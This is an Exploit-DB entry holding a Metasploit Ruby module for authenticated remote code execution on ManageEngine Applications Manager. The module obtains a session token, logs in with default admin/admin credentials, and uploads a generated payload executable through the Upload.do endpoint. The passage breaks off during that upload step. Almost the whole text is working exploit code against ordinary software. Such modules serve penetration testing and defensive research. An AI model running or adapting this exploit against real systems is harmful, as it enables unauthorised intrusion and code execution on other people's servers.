Exploit-DB #17152
Description: ManageEngine Applications Manager - (Authenticated) Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2011-04-08
Author: Metasploit

Exploit:
##
# $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'        => 'ManageEngine Applications Manager Authenticated Code Execution',
			'Version'	=> '$Revision: 12281 $',
			'Description'	=> %q{
						This module logs into the Manage Engine Appplications Manager to upload a 
					payload to the file system and a batch script that executes the payload. },
			'Author'	=> 'Jacob Giannantonio <JGiannan[at]gmail.com>',
			'Platform'	=> 'win',
			'Targets'	=>
					[
						['Automatic',{}],
					],
			'DefaultTarget'	=>	0
			)
			
		register_options(
			[ Opt::RPORT(9090),
				OptString.new('URI', [false, "URI for Applications Manager", '/']),
				OptString.new('USER', [false, "username", 'admin']),
				OptString.new('PASS', [false, "password", 'admin']),
		], self.class)
	end
	def target_url
		"http://#{rhost}:#{rport}#{datastore['URI']}"
	end
	def exploit
		# Make initial request to get assigned a session token
		cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
		cookie << "am_username=;am_check="
		begin
			print_status "#{target_url} Applications Manager - Requesting Session Token"
			res = send_request_cgi({
				'method'=> 'GET',
				'uri'	=> "#{target_url}/webclient/common/jsp/home.jsp",
				'cookie'  => cookie.to_s
			}, 20)

			if !res
				print_error("Request to #{target_host} failed")
				return
			end

			if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
				cookie << "; #{$1}"
				print_good("Assigned #{$1}")
			else
				print_error("Initial request failed: http error #{res.code}")
				return
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end

		# send cookie to index.do
		begin
			print_status "Sending session token to #{target_url}/index.do"
			res = send_request_raw({
				'method'  => 'GET',
				'uri'     => "#{target_url}/index.do",
				'cookie' => cookie
			}, 20)

			if !res || res.code != 200
				print_error("Request to #{target_url} failed")
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/index.do failed")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end

		# Log in with the assigned session token
		post_data = "clienttype2=html&j_username="
		post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
		post_data << "j_password="
		post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
		print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")

		begin
			res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => "#{target_url}/j_security_check",
				'cookie' => cookie,
				'data'    => post_data.to_s
			}, 20)

			if !res
				print_error("Request to #{target_url} Failed")
			end
			# Server responds with a 302 redirect when the login is successful and
			# HTTP 200 for a failed login
			if res and res.code == 302
				print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
			else
				print_error("Failed to log into #{target_url}")
				return
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/j_security_check failed")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end
		# initial request to upload.do
		# I think this is required to upload content later on.
		begin
			res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => "#{target_url}/Upload.do",
				'cookie'=> cookie,
				'data'    => post_data
			}, 20)

			if !res
				print_error("HTTP request to #{target_url} Failed")
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/Upload.do Failed")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end

		# Transfer the payload executable via POST request to Upload.do
		boundary = rand_text_numeric(11)
		payload_file = "#{rand_text_alphanumeric(20)}.exe"
		lines = "-----------------------------#{boundary}"
		content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
		content_disposition << "filename=\"#{payload_file}\"\r\n"
		post_data = lines + "\r\n" + content_disposition.to_s
		post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
		post_data << "#{generate_payload_exe}\r\n\r\n"
		post_data << lines + "\r\nContent-Disposition: form-data; "
		post_data << "name=\"uploadDir\"\r\n\r\n"
		post_data << ".\/\r\n#{lines}--\r\n"

		begin
			referer = "http://#{target_url}/Upload.do"
			res = send_request_raw({
				'method'  => 'POST',
				'uri'     => "#{target_url}/Upload.do",
				'headers' => {  'Referer' => referer,
					'cookie' => "#{cookie}\r\nContent-Type: " +
					"multipart/form-data; " +
					"boundary=---------------------------#{boundary}",
					'Content-Length' => post_data.length},
					'data'    => post_data
			}, 20)

			if !res
				print_error("Request to #{target_url} failed")
			end

			if res and res.code == 200
				print_good("Uploaded payload #{payload_file}")
			else
				print_error("Response HTTP #{res.code} and HTTP 302 expected")
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/Upload.do failed")
			return